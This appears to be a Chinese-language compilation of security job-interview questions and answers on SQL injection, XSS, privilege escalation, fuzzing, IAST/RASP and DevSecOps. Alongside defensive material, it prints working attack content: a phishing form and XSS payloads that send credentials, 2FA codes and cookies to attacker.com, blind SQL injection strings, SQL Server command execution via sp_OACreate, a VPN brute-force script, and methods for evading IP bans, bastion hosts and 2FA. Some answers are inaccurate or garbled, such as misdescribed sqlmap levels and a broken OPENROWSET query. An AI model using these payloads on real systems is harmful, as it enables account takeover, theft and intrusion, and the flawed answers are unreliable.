预编译的 SQL 语句：预编译的 SQL 语句通常不会存在 SQL 注入问题，因为参数是通过参数化查询传递的，不会被解析为 SQL 代码。
第一次预编译的可控数据：如果在第一次预编译时，攻击者可以控制某些数据，可能会导致 SQL 注入。例如，动态生成 SQL 语句时，如果未对用户输入进行充分验证，可能会导致注入。
1
2
String query = "SELECT * FROM users WHERE username = '" + username + "'";
PreparedStatement stmt = connection.prepareStatement(query);

CDN 的绕过方式

IP 直连：直接连接到目标服务器的 IP 地址，绕过 CDN。
利用特定的请求头：通过设置特定的请求头（如 Host 头）来绕过 CDN。
1
curl -H "Host: target.com" http://cdn-ip-address
利用 CDN 缓存机制：通过构造特定的请求来利用 CDN 的缓存机制，绕过 CDN 的安全检测。

快手

1. SQL问题：如何取在A中但不在B中的数据

技术分析：
在SQL中，可以通过 NOT EXISTS 或 LEFT JOIN 实现 A 中存在但 B 中不存在的数据查询。NOT EXISTS 是一种高效的方式，因为它只检查是否存在匹配的记录，而不会返回多余的字段。

代码示例：

-- 方法1：使用 NOT EXISTS
SELECT a.*
FROM a
WHERE NOT EXISTS (
    SELECT 1
    FROM b
    WHERE b.id = a.id
);

-- 方法2：使用 LEFT JOIN 和 NULL 判断
SELECT a.*
FROM a
LEFT JOIN b ON a.id = b.id
WHERE b.id IS NULL;

优化建议：

确保 a.id 和 b.id 字段上有索引，以提高查询性能。
如果数据量较大，NOT EXISTS 通常比 LEFT JOIN 更高效。

2. 有堡垒机怎么办？

技术分析：
堡垒机（Jump Server）通常用于限制用户对目标系统的直接访问。绕过堡垒机的方法包括：

通过堡垒机的跳板功能，使用 SSH 隧道或代理连接目标系统。
如果堡垒机支持动态端口转发，可以配置本地端口转发。

代码示例：

# 使用 SSH 隧道通过堡垒机访问目标服务器
ssh -L 1234:target_server:22 user@bastion_host
# 然后通过本地端口 1234 访问目标服务器
ssh user@localhost -p 1234

工具推荐：

Proxychains：配置代理链，通过堡垒机访问目标。
OpenSSH：动态端口转发。

3. 被ban IP怎么办？

技术分析：
IP 被封禁后，可以通过以下方式绕过：

使用代理 IP 或 VPN 隐藏真实 IP。
如果目标系统使用动态 IP 封禁，可以频繁切换 IP。
利用 Tor 网络进行匿名访问。

代码示例（动态代理切换）：

import requests
from rotating_proxies import RotatingProxy

# 使用动态代理池
proxy_pool = RotatingProxy()
proxies = proxy_pool.get_proxies()

try:
    response = requests.get(
        "http://example.com",
        proxies=proxies,
        timeout=10
    )
    print(response.text)
except Exception as e:
    print(f"IP blocked, switching proxy: {e}")
    proxy_pool.rotate()

工具推荐：

Rotating Proxies：动态代理切换。
Tor：匿名网络访问。

4. 登录做了双因素认证怎么办？

技术分析：
双因素认证（2FA）增加了登录难度，但可以通过以下方式绕过：

社会工程学攻击：通过钓鱼页面获取用户的认证码。
中间人攻击：拦截认证码。
利用漏洞：某些系统允许绕过 2FA 的 API 调用。

代码示例（钓鱼页面）：

<!-- 钓鱼页面，伪装成目标网站 -->
<form action="http://attacker.com/capture" method="POST">
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="text" name="2fa_code" placeholder="2FA Code">
    <button type="submit">Login</button>
</form>

工具推荐：

Social Engineering Toolkit (SET)：生成钓鱼页面。
Burp Suite：拦截和篡改认证码。

5. VPN服务器没绑定机器编码（证书）吗？

技术分析：
如果 VPN 服务器未绑定机器编码或证书，可以尝试以下方法：

暴力破解：穷举用户名和密码。
利用已知漏洞：针对 VPN 软件（如 OpenVPN、PPTP）的漏洞进行攻击。
中间人攻击：拦截 VPN 流量。

代码示例（暴力破解 VPN）：

import paramiko

# 暴力破解 VPN 用户名和密码
def brute_force_vpn(ip, usernames, passwords):
    for user in usernames:
        for pwd in passwords:
            try:
                client = paramiko.SSHClient()
                client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                client.connect(ip, username=user, password=pwd)
                print(f"Success: {user}/{pwd}")
                return
            except:
                continue
    print("Brute force failed.")

# 示例用户名和密码列表
usernames = ["admin", "user"]
passwords = ["password", "123456"]

brute_force_vpn("vpn.example.com", usernames, passwords)

工具推荐：

Hydra：暴力破解工具。
Metasploit：利用 VPN 漏洞。

1. %00截断的原理

%00（null字节）是一种字符串截断技术，常用于绕过安全检查或触发漏洞。其原理是利用编程语言或系统对字符串处理的特性，当遇到null字节时，会认为字符串结束。这种特性可以被攻击者利用来截断输入，从而绕过验证逻辑。

常见应用场景

文件名处理：在某些语言（如C/C++）中，字符串以null字节结束。如果攻击者在文件名中插入%00，系统可能会截断文件名，导致读取或写入未授权的文件。
数据库操作：在某些情况下，数据库驱动可能将输入截断到null字节，从而绕过SQL注入防护。

示例代码

<?php
// 假设有一个文件上传功能
$filename = $_GET['file'] . '.txt';
if (file_exists($filename)) {
    echo "文件已存在";
} else {
    file_put_contents($filename, "内容");
    echo "文件创建成功";
}
?>

攻击示例：

1	http://example.com/script.php?file=malicious.php%00

通过%00，攻击者可以绕过.txt后缀检查，上传恶意文件。

2. SQL盲注的语句

SQL盲注是一种通过布尔条件或时间延迟来推断数据库内容的攻击方式。以下是两种常见的盲注方法：

布尔盲注

通过判断查询结果的布尔值来推断信息。

示例语句：

1	' OR IF(SUBSTRING(@@version,1,1)='5', 1, 0) --

解释：

@@version是MySQL的版本信息。
SUBSTRING(@@version,1,1)提取版本的第一个字符。
如果第一个字符是5，则返回1，否则返回0。
--用于注释掉多余的SQL语句。

时间盲注

通过延迟数据库响应时间来判断条件是否成立。

示例语句：

1	' OR IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0) --

解释：

如果条件成立，数据库会延迟5秒返回。
攻击者可以通过观察响应时间来判断条件是否成立。

3. XSS获取cookie的payload

XSS（跨站脚本攻击）是一种通过注入恶意脚本窃取用户敏感信息的攻击方式。以下是一个获取cookie的payload：

简单payload

<script>
    // 获取当前页面的cookie
    var cookie = document.cookie;
    // 将cookie发送到攻击者的服务器
    fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(cookie));
</script>

兼容旧浏览器的payload

<script>
    var img = new Image();
    img.src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

更隐蔽的payload

<script>
    // 使用setTimeout延迟执行，避免被WAF检测
    setTimeout(function() {
        var s = document.createElement('script');
        s.src = 'http://attacker.com/malicious.js';
        document.body.appendChild(s);
    }, 1000);
</script>

SQL Server命令执行的方法

除了xp_cmdshell，还有以下方法：

sp_OACreate ：通过创建OLE对象实例，然后利用sp_oamethod调用该对象的方法来执行命令。例如，先判断sp_OACreate是否存在，若存在则开启相关配置，最后执行命令并将结果导出至文本中：
- 判断是否存在：select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
- 开启配置：
  - EXEC sp_configure 'show advanced options', 1;
  - RECONFIGURE WITH OVERRIDE;
  - EXEC sp_configure 'Ole Automation Procedures', 1;
  - RECONFIGURE WITH OVERRIDE;
- 执行命令：declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
CLR ：在SQL Server上启用CLR并创建自定义存储过程，通过编写C#代码来实现命令执行。例如，使用visual studio 2022创建SQL Server数据库项目，编写代码后编译导入程序集并创建执行命令存储过程的SQL语句。

SQL注入引号绕过

SQL注入引号绕过通常是在SQL注入攻击中，为了构造合法的SQL语句，采用一些技巧来避免使用引号。例如，利用字符串连接符、函数等来代替引号。比如，'可以用char(39)来代替，"可以用char(34)来代替。另外，还可以利用SQL语句中的注释符来绕过引号限制，如/*和*/。

SQL注入读文件和写文件

读文件 ：可以使用OPENROWSET、BULK INSERT等函数来读取文件内容。例如，使用OPENROWSET读取文件：SELECT * FROM OPENROWSET('SQLOLEDB','.;UID=sa;PWD=','select * from OPENROWSET('BULK ''C:\test.txt'', SINGLE_BLOB) as t')。
写文件 ：不能直接用函数来写文件，因为写文件不是一个函数，需要借助其他方法。例如，可以利用xp_cmdshell来执行命令，将数据写入文件。如xp_cmdshell 'echo hello > c:\test.txt'。

SQL注入的修复

输入验证 ：对用户输入进行严格的验证，确保输入符合预期的格式和类型。
参数化查询 ：使用参数化查询来避免SQL注入，将用户输入作为参数传递给数据库。
最小化权限 ：为数据库用户分配最小的权限，避免用户拥有不必要的权限。
更新和补丁 ：及时更新数据库系统和应用程序，应用安全补丁，修复已知的安全漏洞。

Linux命令

最近登录的用户 ：可以使用last命令查看最近登录的用户信息。
查看一个文件的后500行 ：使用tail -n 500命令。
查看一个文件的行数 ：使用wc -l命令。
查找文件的位置 ：可以使用find命令或locate命令。find命令可以根据文件名、路径、类型等条件查找文件，如find / -name filename。locate命令则基于数据库查找文件，速度较快，但数据库需要定期更新，如locate filename。

Linux文件权限777

777代表所有者、所属组和其他用户都拥有读（r）、写（w）和执行（x）权限。其中，第一个数字表示所有者权限，第二个数字表示所属组权限，第三个数字表示其他用户权限。每个数字对应不同的权限，r代表4，w代表2，x代表1。

Windows命令

知道一个端口，找进程 ：可以使用netstat -ano | findstr 端口号命令，找到与该端口相关的进程ID。
杀进程的命令 ：使用taskkill /PID 进程ID /F命令。
启动和终止进程 ：启动进程可以使用start命令，如start notepad.exe。终止进程可以使用taskkill命令，如taskkill /IM 进程名 /F。

HTTPS建立过程

握手阶段：客户端和服务器通过交换信息来协商加密算法、密钥等参数。
证书验证：服务器向客户端发送数字证书，客户端验证证书的有效性。
密钥交换：双方通过协商算法交换密钥，用于后续的加密通信。
加密通信：使用协商好的密钥和算法进行数据加密传输。

Python内存管理

引用计数：Python通过引用计数来跟踪对象的引用情况，当引用计数为零时，对象会被销毁并释放内存。
垃圾回收：Python使用分代垃圾回收机制来处理循环引用等问题。
内存池管理：Python有内存池机制，用于管理小于256字节的对象，提高内存分配效率。

溯源攻击示例

日志分析：通过分析服务器日志，寻找异常的访问模式和来源IP。
数据包捕获：使用工具如Wireshark捕获网络数据包，分析攻击来源。
示例：假设某网站遭受了SQL注入攻击，通过查看Web服务器日志，发现来自特定IP的异常SQL请求，进一步分析该IP的相关信息，确定攻击来源。

DNS协议的作用与解析过程

作用：将域名转换为IP地址，便于用户记忆和访问网站。
解析过程：从本地DNS缓存开始，逐级查询根DNS服务器、顶级域名服务器、权威DNS服务器，直到获取目标域名的IP地址。

DNS协议的安全问题

缓存中毒：攻击者向DNS服务器注入虚假的DNS记录，导致用户被引导到错误的网站。
DNS劫持：攻击者篡改DNS查询结果，将用户引导到恶意网站。
拒绝服务攻击：通过大量DNS查询导致DNS服务器过载，无法正常响应合法请求。

带外COKIES遇到WAF的应对

编码混淆：对Cookie值进行URL编码或Base64编码，绕过WAF检测。
拆分Cookie：将Cookie拆分为多个部分，分别发送，最后在服务器端组合。

AWVS登录扫描操作

启动AWVS：打开AWVS控制台，登录系统。
添加目标：输入要扫描的目标URL。
配置扫描参数：设置扫描范围、深度、扫描类型等参数。
开始扫描：启动扫描任务，AWVS会自动对目标进行漏洞检测。

SQLMAP使用

基本命令：sqlmap -u "http://example.com/page?id=1"，对指定URL进行SQL注入检测。
级别与区别：
- Level 1：快速检测，适合初步扫描。
- Level 2：中等深度，适合更详细的检测。
- Level 3：深度检测，适合全面的漏洞挖掘。
扫数据包：sqlmap -r request.txt，使用保存的HTTP请求文件进行扫描。
本地读文件：sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"，读取服务器上的文件。
指定参数：sqlmap -u "http://example.com/page?id=1" -p id，指定要测试的参数。

NMAP扫描命令

静Ping扫描：nmap -sP 192.168.1.0/24，检测网络中的活跃主机。
查看端口开放：nmap -p 80,443 192.168.1.1，检测指定端口是否开放。
查看系统版本信息：nmap -sV 192.168.1.1，获取目标系统的版本信息。

蚂蚁

如何给AFL做适配去fuzz数据库

1. AFL适配数据库fuzz

要使用AFL对数据库进行fuzz测试，首先需要确保数据库的输入可以被AFL识别和处理。以下是适配步骤：

确定输入格式：明确数据库接受的输入格式，如SQL语句、配置文件等。
编写测试用例生成器：生成符合数据库输入格式的测试用例。
设置AFL环境：配置AFL以识别数据库的输入和输出。
运行AFL：使用AFL对数据库进行fuzz测试。

2. fuzz流程

选取目标：确定要测试的数据库组件，如SQL解析器、存储引擎等。
生成初始测试用例：创建一组基础的测试用例，覆盖常见的输入场景。
设置AFL环境：配置AFL的输入目录和输出目录。
运行AFL：启动AFL，开始fuzz测试。
监控和分析结果：监控AFL的运行状态，分析发现的崩溃和异常。

3. AFL的插桩原理

AFL通过编译时插桩来收集程序执行的覆盖率信息。插桩代码会插入到程序的每个基本块中，记录执行路径。AFL利用这些信息来指导变异过程，优先选择能够发现新执行路径的测试用例。

4. 选择fuzz测试点

输入解析：数据库的输入解析模块是关键测试点，如SQL解析器。
查询执行：查询执行引擎也是重要的测试点，可能包含复杂的逻辑。
存储操作：涉及数据存储和检索的模块，如存储引擎。

5. 数据库fuzz和普通程序fuzz的不同

复杂性：数据库通常具有复杂的输入格式和状态管理，增加了fuzz的难度。
输入多样性：数据库接受多种类型的输入，如SQL语句、配置文件等。
环境依赖：数据库通常运行在特定的环境中，可能依赖于特定的配置和数据集。

示例代码：AFL适配数据库fuzz

1. 编写测试用例生成器

import os
import random
import string

def generate_test_case():
    # 生成随机的SQL语句
    sql_statements = [
        "SELECT * FROM users WHERE id = {};",
        "INSERT INTO users (name, age) VALUES ('{}', {});",
        "UPDATE users SET name = '{}' WHERE id = {};",
        "DELETE FROM users WHERE id = {};"
    ]
    test_case = random.choice(sql_statements)
    if '{}' in test_case:
        test_case = test_case.format(
            ''.join(random.choices(string.ascii_letters + string.digits, k=10)),
            random.randint(1, 100)
        )
    return test_case

# 生成初始测试用例
os.makedirs('afl_in', exist_ok=True)
for i in range(100):
    with open(f'afl_in/test_{i}.sql', 'w') as f:
        f.write(generate_test_case())

2. 设置AFL环境

# 安装AFL
wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz
tar -xvf afl-latest.tgz
cd afl-2.52b/
make
sudo make install

# 编译数据库代码（假设使用MySQL）
cd mysql/
CC=/path/to/afl-gcc CXX=/path/to/afl-g++ cmake .
make

# 运行AFL
mkdir afl_out
afl-fuzz -i afl_in -o afl_out ./path/to/database_executable @@

3. 监控和分析结果

AFL会在afl_out目录下生成测试结果，包括发现的崩溃和异常。可以使用AFL提供的工具如afl-analyze来进一步分析结果。

安全开发工程师

如何查看自己服务器某个端口情况

**使用 netstat**：

1	sudo netstat -tuln \| grep :<port>

示例：查看 8080 端口：

1	sudo netstat -tuln \| grep :8080

**使用 lsof**：
1
sudo lsof -i :<port>
示例：查看 8080 端口：
1
sudo lsof -i :8080

如何查看远程服务器情况

**使用 telnet**：
1
telnet <remote_host> <port>
示例：检查远程服务器的 80 端口：
1
telnet 192.168.1.1 80
**使用 nc**：
1
nc -zv <remote_host> <port>
示例：检查远程服务器的 443 端口：
1
nc -zv 192.168.1.1 443
通过三次握手查看：
使用 nmap 扫描远程主机的端口：
1
nmap -sS <remote_host>
示例：扫描远程主机的所有开放端口：
1
nmap -sS 192.168.1.1

反弹 shell 如何检测

通过 netstat 查看可疑连接：
1
sudo netstat -tuln
检查是否有异常的外连。
通过 lsof 查看可疑进程：
1
sudo lsof -i
检查是否有异常的网络连接。
通过日志分析：
检查系统日志（如 /var/log/auth.log）中的异常登录记录。

如果攻击者使用了 AWK，如何检测

检查 AWK 进程：
1
ps aux | grep awk
查看是否有异常的 AWK 进程。
检查 AWK 脚本：
检查 /tmp 或其他临时目录中是否有可疑的 AWK 脚本。

除了进程树的命令匹配，还有可以检测反弹 shell 的方法吗？

检查网络连接：
1
sudo netstat -tuln
查看是否有异常的外连。
检查系统日志：
检查 /var/log/auth.log 或其他相关日志文件中的异常登录记录。
使用 IDS/IPS：
部署入侵检测系统（如 Snort）来检测异常的网络流量。

你了解哪些提权手段？

SUID 提权：
- 原理：SUID（Set User ID）允许普通用户以文件所有者的权限执行程序。
- 示例：
  1
  find / -perm -4000 2>/dev/null
内核漏洞提权：
- 利用内核漏洞（如 Dirty COW）获取 root 权限。
服务漏洞提权：
- 利用服务漏洞（如 Sudo 提权漏洞）获取更高权限。

什么是 SUID 提权

原理：SUID 位设置的文件允许任何用户以文件所有者的权限执行该文件。
示例：
1
chmod u+s /usr/bin/program

进程隐藏技术是什么，如何检测？

进程隐藏技术：
- 通过修改内核或使用 rootkit 隐藏进程。
检测方法：
- 使用 chkrootkit 或 rkhunter 检测 rootkit。
- 比较 ps 和 top 的输出，检查是否有不一致的进程。

聊聊 IAST

IAST（Interactive Application Security Testing）：
- 通过动态分析和静态分析相结合的方式，检测应用程序的安全漏洞。
- 工具：Acunetix、Contrast Security。

如果多进程下，A 进程的 Source 触发到了 B 进程的 Sink 点，如何溯源？

日志分析：
- 检查 A 进程和 B 进程的日志，寻找相关的调用链。
代码审查：
- 审查代码，找到 A 进程的 Source 和 B 进程的 Sink 点之间的调用关系。
使用调试工具：
- 使用调试工具（如 GDB）跟踪进程间的通信。

SCA是什么以及如何实现

SCA（Software Composition Analysis） 是一种用于识别和分析应用程序中使用的开源组件的技术。它可以帮助组织了解其软件供应链中的安全漏洞、许可证合规性问题以及代码质量。SCA工具通常通过扫描代码库、容器和相关部分来自动识别所有开源组件、许可证信息以及安全漏洞。

SCA的实现方式

灰盒测试实现：

依赖分析：通过分析应用程序的依赖关系图来识别所有直接和间接依赖的开源组件。
运行时监控：利用agent技术，在应用程序运行时监控其行为，识别使用的组件和潜在的安全风险。

示例代码：

// 使用agent监控应用程序的依赖
public class DependencyMonitor {
    public static void main(String[] args) {
        // 模拟agent监控逻辑
        List<String> dependencies = scanDependencies();
        for (String dep : dependencies) {
            checkVulnerabilities(dep);
        }
    }

    private static List<String> scanDependencies() {
        // 模拟扫描依赖
        return Arrays.asList("spring-core:5.3.10", "log4j:2.17.1");
    }

    private static void checkVulnerabilities(String dependency) {
        // 模拟检查漏洞
        System.out.println("Checking vulnerabilities for: " + dependency);
    }
}

白盒测试实现：

静态分析：通过分析源代码或构建配置文件（如pom.xml、build.gradle）来识别依赖关系。
结合Maven插件：使用Maven插件可以更高效地分析项目的依赖关系，并生成详细的报告。

示例代码：

<!-- Maven插件示例 -->
<plugin>
    <groupId>org.owasp</groupId>
    <artifactId>dependency-check-maven</artifactId>
    <version>6.5.0</version>
    <executions>
        <execution>
            <goals>
                <goal>check</goal>
            </goals>
        </execution>
    </executions>
</plugin>

如何探测是否存在某个类（jar包）

扫描类路径：通过扫描类路径来检测是否存在特定的类或jar包。

public class ClassDetector {
    public static boolean detectClass(String className) {
        try {
            Class.forName(className);
            return true;
        } catch (ClassNotFoundException e) {
            return false;
        }
    }

    public static void main(String[] args) {
        boolean exists = detectClass("org.apache.log4j.Logger");
        System.out.println("Log4j exists: " + exists);
    }
}

依赖管理工具：使用如Maven、Gradle等工具来列出所有依赖项。
1
2
# Maven命令
mvn dependency:tree

反序列化炸弹检测：

异常检测：监控反序列化过程中的异常行为。
数据流分析：分析反序列化数据的来源和流向，识别潜在的风险。

示例代码：

public class DeserializationDetector {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("suspected.ser"));
        Object obj = ois.readObject();
        // 检测反序列化后的对象
        if (obj instanceof SuspiciousClass) {
            throw new SecurityException("Detected deserialization bomb!");
        }
    }
}

浏览器多窗口和多标签的设计

多窗口：通常属于多进程设计，每个窗口运行在独立的进程中，以提高稳定性和安全性。
多标签：通常属于多线程设计，同一窗口内的多个标签共享一个进程，但通过独立的线程来隔离不同的网页内容。
设计原因：
- 性能：多进程设计可以防止一个窗口崩溃影响其他窗口。
- 资源隔离：多线程设计可以在同一窗口内高效地管理多个标签，减少内存占用。
- 安全性：隔离不同的网页内容，防止跨标签攻击。

从agent到字节码hook的整个流程（伪代码）

注册JVM初始化事件：在JVM启动时，通过Agent_OnLoad函数注册初始化事件监听器。
初始化完成后注册类转换器：在JVM初始化完成后，注册一个ClassFileTransformer，用于在类加载时修改字节码。
修改字节码：在transform方法中，使用ASM等字节码操作库对目标类的字节码进行修改，插入监控或安全检查代码。
返回修改后的字节码：将修改后的字节码返回给JVM，JVM会使用这个修改后的字节码来创建类的实例。

伪代码示例：

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className,
                                    Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
                                    byte[] classfileBuffer) {
                // 使用ASM等库修改字节码
                return modifyClassFile(className, classfileBuffer);
            }
        });
    }

    private static byte[] modifyClassFile(String className, byte[] classfileBuffer) {
        // 使用ASM等库进行字节码修改的逻辑
        // ...
        return modifiedClassfileBuffer;
    }
}

log4j有哪些防御方法技术层面

升级Log4j版本：升级到Log4j 2.17.1或更高版本，这些版本修复了已知的安全漏洞。
禁用JNDI功能：通过设置系统属性log4j2.formatMsgNoLookups=true来禁用JNDI功能，防止远程代码执行。
移除JNDI支持模块：从Log4j的JAR文件中移除JNDI相关的类文件，如JndiManager.class。
使用WAF进行防护：在Web应用防火墙（WAF）中配置规则，拦截包含${jndi:}模式的请求。
监控和日志分析：实时监控应用日志，及时发现和响应潜在的攻击行为。

谈一下CodeQL，能不能用来做CI/CD

CodeQL是一种强大的代码分析工具，可以用于CI/CD流程中。它能够静态分析代码，检测潜在的安全漏洞和代码质量问题。在CI/CD中，可以将CodeQL集成到构建流程中，自动运行分析任务，并在发现问题时触发警报或阻止构建通过。这样可以在早期阶段发现和修复问题，提高代码质量。

CodeQL哪些地方会断，该怎么处理

路径爆炸：当分析的路径过多时，可能导致分析性能下降。可以通过设置--max-paths参数来限制分析的路径数量。
内存溢出：分析大型代码库时可能会出现内存不足的情况。可以增加分配给CodeQL的内存，或者优化查询以减少内存使用。
误报：CodeQL可能会报告一些误报。可以通过自定义查询或使用@suppress注释来标记和过滤误报。

说一下SAST、DAST、IAST的优缺点

工具类型	优点	缺点
SAST（静态应用安全测试）	1. 无需运行应用，可在编码阶段早期发现漏洞。2. 可以检测到代码中的潜在逻辑漏洞。3. 有助于提高代码质量。	1. 需要访问源代码。2. 可能产生较多误报。3. 部署成本较高。
DAST（动态应用安全测试）	1. 不需要源代码，可在运行时检测实际漏洞。2. 能够发现运行时特定的漏洞。3. 部署相对简单。	1. 无法检测到代码中的逻辑漏洞。2. 可能错过未被测试到的攻击面。3. 误报率相对较高。
IAST（交互式应用安全测试）	1. 结合了SAST和DAST的优点，可在运行时检测并关联代码中的漏洞。2. 能够提供更准确的漏洞定位和修复建议。3. 适合复杂应用的安全测试。	1. 需要插桩，部署成本较高。2. 对运行环境有一定依赖。3. 可能对应用性能产生一定影响。

介绍下DevSecOps

DevSecOps是一种将安全融入DevOps流程的实践，强调在软件开发生命周期的每个阶段都考虑安全问题。其核心理念是安全不再是单独的阶段，而是贯穿整个开发、测试和运维过程。通过自动化工具、持续监控和团队协作，DevSecOps能够帮助组织更快地发现和修复安全问题，提高软件的安全性和可靠性。常见的实践包括使用自动化安全扫描工具、实施最小权限原则、进行安全培训等。

IAST 主动和被动的区别

主动IAST：需要发包器和agent两部分，发包器负责构造流量，agent负责插桩和捕获流量。主动IAST在关键函数hook到流量后，会添加payload进行扫描，类似黑盒功能，可检测上下文相关漏洞，但会产生脏数据，且性能损耗较大，需适配不同语言框架。
被动IAST：只需agent部分，通过污点分析技术检测漏洞，不会主动发送payload，无脏数据产生，对业务测试无影响，但无法检测未触发代码路径的漏洞。

IAST在CI/CD中的位置

IAST可以放在CI/CD的测试阶段，也可以放在开发阶段和生产阶段。在测试阶段，IAST可以与自动化测试脚本结合，实时检测漏洞；在开发阶段，可帮助开发人员及时发现和修复漏洞；在生产阶段，可监控运行中的应用程序，及时发现和处理安全问题。

AST的定义

AST（Abstract Syntax Tree）是抽象语法树，是源代码的抽象表示，它以树状结构展示代码的语法结构，忽略了不必要的细节，如空格、注释等，是编译器和解释器对代码进行分析和处理的基础。

代码生成AST的方法

以Python为例，可以使用Python的ast模块来生成AST：

import ast

code = """
def hello_world():
    print("Hello, World!")
"""

tree = ast.parse(code)
print(ast.dump(tree))

不经过IR阶段生成AST的方法及其缺陷

方法：直接解析源代码生成AST，无需经过中间表示（IR）阶段。例如，使用词法分析器和语法分析器直接从源代码生成AST。
缺陷：
- 性能问题：直接解析源代码生成AST可能需要更多的计算资源和时间，尤其是在处理复杂代码时。
- 兼容性问题：不同编程语言的语法和结构差异较大，直接解析可能需要针对每种语言实现特定的解析器，增加了开发和维护的难度。
- 扩展性问题：如果需要对AST进行进一步的处理或优化，直接解析生成的AST可能不够灵活，难以适应不同的需求。

HIDS的流程

HIDS（Host-based Intrusion Detection System）的流程通常包括以下几个步骤：

数据收集：收集系统日志、网络流量、文件系统变化等信息。
数据分析：对收集到的数据进行分析，检测异常行为和潜在的入侵活动。
响应处理：根据分析结果采取相应的措施，如发出警报、阻止可疑连接、隔离受感染的系统等。
报告生成：生成详细的报告，记录检测到的事件和采取的措施，以便后续的审计和分析。

提权的方法

suid提权：利用具有suid权限的程序，通过构造特定的输入或利用程序中的漏洞，使普通用户能够以root权限执行代码，从而提升权限。
MySQL提权：通过利用MySQL的某些特性或漏洞，如文件写入、命令执行等，获取更高的权限。

suid提权的生命周期

suid提权的生命周期包括以下几个阶段：

发现suid文件：查找系统中具有suid权限的文件。
分析漏洞：分析这些文件是否存在可利用的漏洞。
构造利用：根据漏洞构造相应的利用代码或输入。
获取权限：执行利用代码，提升权限。
清理痕迹：删除日志、恢复系统状态等，避免被发现。

Windows 烂土豆

Windows 烂土豆（Windows Privilege Escalation）是一种利用Windows系统中的权限提升技术的手段。它通常涉及利用系统中的漏洞、配置错误或特定的程序行为来提升用户的权限，从而获得更高的访问权限。常见的Windows提权方法包括利用服务权限、DLL注入、令牌窃取等。

IAST和RASP的区别

定义与工作原理：
- IAST（Interactive Application Security Testing）：是一种结合了SAST和DAST优点的安全测试技术，通过在应用程序中植入探针，在运行时动态地监测和报告安全漏洞。它可以在测试阶段对应用程序进行安全检测，识别出SAST和DAST工具可能遗漏的安全漏洞。
- RASP（Runtime Application Self-Protection）：是一种应用程序保护技术，它在应用程序运行时监视和保护应用程序免受攻击。RASP使用运行时上下文信息和安全策略来检测和防止攻击，并且可以主动响应和阻止潜在的安全威胁。
使用场景：
- IAST：主要用于应用上线前的测试阶段，帮助开发团队在开发过程中尽早发现和修复安全漏洞，降低后期修复成本和风险。
- RASP：主要用于生产环境，为已经上线的应用程序提供实时的保护，能够及时发现并阻断攻击，减少安全事件的发生。
检测粒度：
- IAST：更关注于代码层面的安全漏洞检测，能够精确到具体的代码行或函数调用，为开发人员提供详细的漏洞信息和修复建议。
- RASP：更关注于应用程序运行时的行为和状态，检测范围更广泛，包括应用程序的运行时上下文、系统调用、网络通信等，能够识别和阻止各种攻击行为。
性能影响：
- IAST：在测试阶段运行，对应用程序性能的影响相对较小，因为测试环境通常不会对性能有极高的要求。
- RASP：在生产环境中运行，会对应用程序性能产生一定的影响，但一般在可接受范围内，如RASP带来的性能消耗一般在5%~10%之间。
误报和漏报率：
- IAST：由于其检测粒度较细，可能会存在一定的误报和漏报情况，需要开发人员对检测结果进行分析和确认。
- RASP：通过运行时上下文的分析和判断，能够更准确地识别攻击行为，误报和漏报率相对较低。

IAST和RASP在埋点深浅上的处理

IAST：埋点相对较浅，主要是在应用程序的关键函数或模块中插入探针，以收集运行时的数据和信息，用于漏洞检测。例如，在处理用户输入的函数、数据库操作函数等处进行埋点，监测数据的流向和操作行为，以发现潜在的注入漏洞、跨站脚本漏洞等。
RASP：埋点较深，不仅在应用程序的函数和模块层面进行监测，还会深入到系统调用、网络通信等底层层面。例如，对操作系统的API调用进行监控，检测是否有异常的文件访问、进程创建等行为；对网络数据包进行分析，识别是否存在恶意的攻击流量。

埋点深浅对检出率的影响

埋点浅：优点是性能影响小，不会对应用程序的正常运行造成太大负担；缺点是检测范围有限，可能无法发现一些深层次的、隐藏的漏洞或攻击行为，检出率相对较低。
埋点深：能够更全面地监测应用程序的运行状态和行为，检测到更多潜在的安全问题，提高检出率；但同时也会增加性能开销，对应用程序的运行效率产生一定影响。

log4j做埋点的两种方式及其区别

直接在log4j的Class里做hook：
- 优点：可以全面地监控log4j的所有日志记录操作，能够及时发现任何通过log4j输出的恶意日志信息，如包含恶意payload的日志记录。
- 缺点：可能会产生较多的误报，因为并非所有的日志记录操作都是攻击行为；而且对log4j的性能可能会有一定影响，尤其是在日志记录频繁的情况下。
直接hook jndi的initial和lookup：
- 优点：更精准地针对log4j漏洞的利用方式进行监测，能够有效识别和阻断利用jndi进行的恶意远程代码执行攻击，减少误报。
- 缺点：可能会遗漏一些通过其他方式利用log4j漏洞的攻击行为，检测范围相对较窄。

百度的IAST实现及主动式和被动式的区别

百度的IAST：百度的IAST解决方案结合了动态污点追踪技术，在应用程序运行时对数据流进行监测和分析，能够准确地识别出漏洞的利用路径和影响范围。它通过在应用程序中植入探针，收集运行时的数据和信息，然后利用污点传播模型进行分析，判断是否存在安全漏洞。
主动式和被动式的区别：
- 主动式：主动式IAST会主动向应用程序发送测试请求，模拟各种攻击行为，以检测应用程序是否存在漏洞。这种方式能够更全面地覆盖应用程序的功能和代码路径，提高漏洞的检出率，但可能会对应用程序的性能产生一定影响，且需要一定的测试环境和资源支持。
- 被动式：被动式IAST主要是通过监测应用程序的正常运行流量和行为，分析其中是否存在异常或潜在的漏洞利用行为。它对应用程序的性能影响较小，但检测范围和精度可能不如主动式IAST，可能会存在一定的漏报情况。

IAST和RASP是否会产生脏数据

IAST：在测试阶段运行，主要关注于漏洞的检测和发现，不会对应用程序的正常数据和业务逻辑产生影响，因此一般不会产生脏数据。
